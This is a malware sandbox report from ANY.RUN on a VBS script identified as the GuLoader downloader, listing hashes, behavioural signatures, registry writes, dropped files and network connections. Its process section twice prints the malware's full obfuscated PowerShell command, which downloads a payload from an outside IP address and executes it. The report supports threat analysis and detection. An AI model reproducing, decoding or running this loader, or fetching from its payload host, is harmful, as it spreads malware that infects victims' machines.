File name:

66ce9c55c62d75654d6783b1d829b92a5a3f3283e4f977a03a185618d239386f.vbs

Full analysis: https://app.any.run/tasks/37896300-c8dd-4061-8ee6-155046e675a6
Verdict: Malicious activity
Threats:

GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities.

Malware Trends Tracker     >>>
Analysis date: June 24, 2024, 15:58:12
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
guloader
loader
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

6075CE496623997578269DF7D388F450

SHA1:

8D38A5F600D9930588A6E8AC7601DCA767678FB8

SHA256:

66CE9C55C62D75654D6783B1D829B92A5A3F3283E4F977A03A185618D239386F

SSDEEP:

3072:SmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZE:S08GxbKja3+DCbKCvBB/WnHXC/sLJFJp

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • GULOADER has been detected

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • GULOADER has been detected (YARA)

      • powershell.exe (PID: 4660)

    • GULOADER SHELLCODE has been detected (YARA)

      • powershell.exe (PID: 4660)

  • SUSPICIOUS

    • Accesses WMI object display name (SCRIPT)

      • wscript.exe (PID: 240)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 240)

    • Accesses WMI object, sets custom ImpersonationLevel (SCRIPT)

      • wscript.exe (PID: 240)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 240)
      • powershell.exe (PID: 256)

    • Accesses system date via WMI (SCRIPT)

      • wscript.exe (PID: 240)

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 4660)

  • INFO

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • Disables trace logs

      • powershell.exe (PID: 256)

    • Checks proxy server information

      • powershell.exe (PID: 256)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 256)
      • powershell.exe (PID: 4660)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4660)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
141
Monitored processes
6
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #GULOADER powershell.exe conhost.exe no specs cmd.exe no specs #GULOADER powershell.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
240"C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\66ce9c55c62d75654d6783b1d829b92a5a3f3283e4f977a03a185618d239386f.vbsC:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
256"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Dobbeltheder Eskimoerne Maniacal Rediscounts Intensively Winrow Daginstitutioner Vum Pachnolite Introducement Naucrary Lygtemand Renpris Lyttas baobabtrs Mineralizers akutindlggelsen Motorsagkyndige138 Overnaturlige Marginalgruppernes Asylums Ohj Substraters basilidian';$munificentness = 1;Function Unsafer($regnskov){$Computervirksomheden121=$regnskov.Length-$munificentness;$Hyperparasitise='SUBSTRIN';$Hyperparasitise+='G';For( $Hjemvisningen=1;$Hjemvisningen -lt $Computervirksomheden121;$Hjemvisningen+=2){$Dobbeltheder+=$regnskov.$Hyperparasitise.Invoke( $Hjemvisningen, $munificentness);}$Dobbeltheder;}function Unspoiledness($Capillatus){ .($Emmentaler) ($Capillatus);}$Stymied=Unsafer 'GM oSzEiCl l,a /,5I.,0F D(SWGi.n dMouwCsD ,N,T, D1P0F.P0T;, MW i,nH6A4 ;S .x 6P4D;C Er v,:D1 2,1T.,0,)L ,GUe cAk.oA/.2.0 1 0,0T1I0b1 LFliSrLe fFoTx /S1 2F1P.,0 ';$Margenkodens=Unsafer 'VU,sUe r - A,g eanRtk ';$Intensively=Unsafer 'Nh t tLpS:./V/.1.0B3G.T1S9B5..M2C3 7C.,4l3M/SSEmHl,ePsC..aNcUam ';$Aalekragers=Unsafer 'L>H ';$Emmentaler=Unsafer 'TiFe xB ';$aldeles='Vum';$macropinacoid = Unsafer '.eDcCh o, M% aVpUp d a,tTa %,\NP o.s,t eDlCi nC. HMe.l. & &B NeSc hAo tU ';Unspoiledness (Unsafer 'S$Qg.lBoUbFaDl :LA.ifdGophKe v,e d,oS=I(Kc,m,d, /.cu S$ m.aGc,r oIpFi n.a,cSoHiOd )A ');Unspoiledness (Unsafer ' $ g ltoBbPa,lA: R,eLd i,sScFoBu,nFt,sR=L$UI n tLe.nCsFiBv e,lAy,..s,p lGiLtI(F$BABaBlVe k,r.aCg e rGsa) ');Unspoiledness (Unsafer 'U[ NAeAtS.USAe rTv i,c.eJP.oEi nUt,M.a nMa g.ePrN] :P:US eMc.uSr.iGt y P.rHoIt oTcSoil. W= D[ NFe t .AS e,c u rSiPtByMPNrRoJt oScVo lTTBy pFe ]B:S:pT,l sP1,2, ');$Intensively=$Rediscounts[0];$Sparekassebestyreren= (Unsafer ',$ gVlGoLbRaDl,:CK a.p ist lPe = N eDw.-TOTbCj e,c,t uS.yTsOtAe,m .RNFe tF. W e b,C,lki eSn t');$Sparekassebestyreren+=$Aidohevedo[1];Unspoiledness ($Sparekassebestyreren);Unspoiledness (Unsafer 'S$ K a.pKi,t,l eC.sHKeHaIdIemr s [B$UM a r g eGn kToBd etnUsH] =.$DS.t yFmAi ePdI ');$Pantiles=Unsafer 'P$HKCa p.iJtdlMe .MD.o w nKlPoUa,dAF iRl,eH(.$tI nFtkeEnGs.i v,e,lAyF, $.OEhWjP), ';$Ohj=$Aidohevedo[0];Unspoiledness (Unsafer ' $AgblTo bMaClI:UO fMfBe rDg aTv e,nS=r(OT e sbt -DP aGt hH $HONh jH) ');while (!$Offergaven) {Unspoiledness (Unsafer ' $,g l.o b,aEl :AB aTj oDn eRtOf,gPtSn iSn g sR= $Dt rSuDeA ') ;Unspoiledness $Pantiles;Unspoiledness (Unsafer 'ASKtTaSr,t -VSUl eTeMp. ,4 ');Unspoiledness (Unsafer ' $.gHl,oKbSa lE:GO fUf.e rGgSaLv e.nL= (ETUe s t.-.PNa t hT $ O.hAj.)O ') ;Unspoiledness (Unsafer 'r$ g l oGb aLl :UM.aUn.i,a.cGa.lB=H$Sg,lDoKbHa l :.E sSkSi m o e r n,e +E+ % $,R,eFdIi,sAc.o u n,t sG. cHoAuPnDt, ') ;$Intensively=$Rediscounts[$Maniacal];}$Fossilised=347926;$Normoblastic=26700;Unspoiledness (Unsafer ',$Tg,lCo b.aEl,:GPtapc hBn,oFl.i,tSe = .GAe.t -.C o n t eBnUtE C$KO hSj. ');Unspoiledness (Unsafer 'c$SgBlMo b a,lG:.N iUnRe.lT R=S I[ S yPs.t.e mT. CPoTn vSe,rat ],: :AF r.o mVB.aSs e.6D4AS tCr i nEg.(.$.POaUcUh nToElViFt eG)O ');Unspoiledness (Unsafer 'B$TgGl oGbGa.lF:PLAy,gStne.m.aAn.d. =P A[tSRyas t e m,.STAeCxDtR. E nlcGo d iTnNg.].:T:FASS C,I,I .PGReEt SSt rEiCn g (S$SNEiRn.e,lY)M ');Unspoiledness (Unsafer 'C$,g.lSo bSaBlM:TE,nLcLi nMc,tOuMrde d =C$,LCysg tFeSmSaCn,d,. sEu.b,s t rSi nkg (V$ Fbo s s iCl,iMs,eNd,,S$TNSo.r.m.oVb l,a,s t iBc.)H ');Unspoiledness $Encinctured;"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1048"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Postelin.Hel && echo t"C:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
4660"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Dobbeltheder Eskimoerne Maniacal Rediscounts Intensively Winrow Daginstitutioner Vum Pachnolite Introducement Naucrary Lygtemand Renpris Lyttas baobabtrs Mineralizers akutindlggelsen Motorsagkyndige138 Overnaturlige Marginalgruppernes Asylums Ohj Substraters basilidian';$munificentness = 1;Function Unsafer($regnskov){$Computervirksomheden121=$regnskov.Length-$munificentness;$Hyperparasitise='SUBSTRIN';$Hyperparasitise+='G';For( $Hjemvisningen=1;$Hjemvisningen -lt $Computervirksomheden121;$Hjemvisningen+=2){$Dobbeltheder+=$regnskov.$Hyperparasitise.Invoke( $Hjemvisningen, $munificentness);}$Dobbeltheder;}function Unspoiledness($Capillatus){ .($Emmentaler) ($Capillatus);}$Stymied=Unsafer 'GM oSzEiCl l,a /,5I.,0F D(SWGi.n dMouwCsD ,N,T, D1P0F.P0T;, MW i,nH6A4 ;S .x 6P4D;C Er v,:D1 2,1T.,0,)L ,GUe cAk.oA/.2.0 1 0,0T1I0b1 LFliSrLe fFoTx /S1 2F1P.,0 ';$Margenkodens=Unsafer 'VU,sUe r - A,g eanRtk ';$Intensively=Unsafer 'Nh t tLpS:./V/.1.0B3G.T1S9B5..M2C3 7C.,4l3M/SSEmHl,ePsC..aNcUam ';$Aalekragers=Unsafer 'L>H ';$Emmentaler=Unsafer 'TiFe xB ';$aldeles='Vum';$macropinacoid = Unsafer '.eDcCh o, M% aVpUp d a,tTa %,\NP o.s,t eDlCi nC. HMe.l. & &B NeSc hAo tU ';Unspoiledness (Unsafer 'S$Qg.lBoUbFaDl :LA.ifdGophKe v,e d,oS=I(Kc,m,d, /.cu S$ m.aGc,r oIpFi n.a,cSoHiOd )A ');Unspoiledness (Unsafer ' $ g ltoBbPa,lA: R,eLd i,sScFoBu,nFt,sR=L$UI n tLe.nCsFiBv e,lAy,..s,p lGiLtI(F$BABaBlVe k,r.aCg e rGsa) ');Unspoiledness (Unsafer 'U[ NAeAtS.USAe rTv i,c.eJP.oEi nUt,M.a nMa g.ePrN] :P:US eMc.uSr.iGt y P.rHoIt oTcSoil. W= D[ NFe t .AS e,c u rSiPtByMPNrRoJt oScVo lTTBy pFe ]B:S:pT,l sP1,2, ');$Intensively=$Rediscounts[0];$Sparekassebestyreren= (Unsafer ',$ gVlGoLbRaDl,:CK a.p ist lPe = N eDw.-TOTbCj e,c,t uS.yTsOtAe,m .RNFe tF. W e b,C,lki eSn t');$Sparekassebestyreren+=$Aidohevedo[1];Unspoiledness ($Sparekassebestyreren);Unspoiledness (Unsafer 'S$ K a.pKi,t,l eC.sHKeHaIdIemr s [B$UM a r g eGn kToBd etnUsH] =.$DS.t yFmAi ePdI ');$Pantiles=Unsafer 'P$HKCa p.iJtdlMe .MD.o w nKlPoUa,dAF iRl,eH(.$tI nFtkeEnGs.i v,e,lAyF, $.OEhWjP), ';$Ohj=$Aidohevedo[0];Unspoiledness (Unsafer ' $AgblTo bMaClI:UO fMfBe rDg aTv e,nS=r(OT e sbt -DP aGt hH $HONh jH) ');while (!$Offergaven) {Unspoiledness (Unsafer ' $,g l.o b,aEl :AB aTj oDn eRtOf,gPtSn iSn g sR= $Dt rSuDeA ') ;Unspoiledness $Pantiles;Unspoiledness (Unsafer 'ASKtTaSr,t -VSUl eTeMp. ,4 ');Unspoiledness (Unsafer ' $.gHl,oKbSa lE:GO fUf.e rGgSaLv e.nL= (ETUe s t.-.PNa t hT $ O.hAj.)O ') ;Unspoiledness (Unsafer 'r$ g l oGb aLl :UM.aUn.i,a.cGa.lB=H$Sg,lDoKbHa l :.E sSkSi m o e r n,e +E+ % $,R,eFdIi,sAc.o u n,t sG. cHoAuPnDt, ') ;$Intensively=$Rediscounts[$Maniacal];}$Fossilised=347926;$Normoblastic=26700;Unspoiledness (Unsafer ',$Tg,lCo b.aEl,:GPtapc hBn,oFl.i,tSe = .GAe.t -.C o n t eBnUtE C$KO hSj. ');Unspoiledness (Unsafer 'c$SgBlMo b a,lG:.N iUnRe.lT R=S I[ S yPs.t.e mT. CPoTn vSe,rat ],: :AF r.o mVB.aSs e.6D4AS tCr i nEg.(.$.POaUcUh nToElViFt eG)O ');Unspoiledness (Unsafer 'B$TgGl oGbGa.lF:PLAy,gStne.m.aAn.d. =P A[tSRyas t e m,.STAeCxDtR. E nlcGo d iTnNg.].:T:FASS C,I,I .PGReEt SSt rEiCn g (S$SNEiRn.e,lY)M ');Unspoiledness (Unsafer 'C$,g.lSo bSaBlM:TE,nLcLi nMc,tOuMrde d =C$,LCysg tFeSmSaCn,d,. sEu.b,s t rSi nkg (V$ Fbo s s iCl,iMs,eNd,,S$TNSo.r.m.oVb l,a,s t iBc.)H ');Unspoiledness $Encinctured;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5052"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\Postelin.Hel && echo t"C:\Windows\SysWOW64\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
5812\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
14 966
Read events
14 944
Write events
22
Delete events
0

Modification events

(PID) Process:(240) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(240) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(240) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(240) wscript.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(256) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(256) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(256) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(256) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(256) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(256) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
Executable files
0
Suspicious files
1
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
4660powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0fspeecn.3ms.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
256powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2r2esynl.c3o.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
256powershell.exeC:\Users\admin\AppData\Roaming\Postelin.Heltext
MD5:83F830EA7D4E3C50D53E586B5601F185
SHA256:D1F964E8E0BB64724041DB69BE5F22E031AB97CDB70129CF9F63BF280471B013
4660powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rnfy32yu.uvm.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4660powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_l455cqov.fq3.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
62
DNS requests
18
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3872
svchost.exe
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
256
powershell.exe
GET
200
103.195.237.43:80
http://103.195.237.43/Smles.aca
unknown
—
—
unknown
3872
svchost.exe
GET
200
69.192.161.161:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
4656
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
—
—
unknown
3040
OfficeClickToRun.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D
unknown
—
—
unknown
1544
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
880
SIHClient.exe
GET
200
69.192.161.161:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
880
SIHClient.exe
GET
200
69.192.161.161:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
2660
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
unknown
992
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4032
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
3872
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2672
RUXIMICS.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1540
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
256
powershell.exe
103.195.237.43:80
—
AZ VIET NAM COMMUNICATIONS TECHNOLOGY COMPANY LIMITED
VN
unknown
3872
svchost.exe
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
unknown
3872
svchost.exe
69.192.161.161:80
www.microsoft.com
AKAMAI-AS
DE
unknown
3040
OfficeClickToRun.exe
40.79.173.40:443
self.events.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
AU
unknown
3040
OfficeClickToRun.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.156
whitelisted
www.microsoft.com
  • 69.192.161.161
whitelisted
self.events.data.microsoft.com
  • 40.79.173.40
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
www.bing.com
  • 92.123.104.66
  • 92.123.104.65
  • 92.123.104.64
  • 92.123.104.63
  • 92.123.104.67
  • 92.123.104.6
  • 92.123.104.5
  • 92.123.104.59
  • 92.123.104.7
whitelisted
login.live.com
  • 20.190.159.4
  • 40.126.31.73
  • 20.190.159.64
  • 20.190.159.73
  • 20.190.159.71
  • 40.126.31.67
  • 40.126.31.69
  • 20.190.159.23
whitelisted
r.bing.com
  • 92.123.104.66
  • 92.123.104.59
  • 92.123.104.6
  • 92.123.104.5
  • 92.123.104.67
  • 92.123.104.7
  • 92.123.104.64
  • 92.123.104.65
  • 92.123.104.63
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
slscr.update.microsoft.com
  • 40.68.123.157
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
66ce9c55c62d75654d6783b1d829b92a5a3f3283e4f977a03a185618d239386f.vbs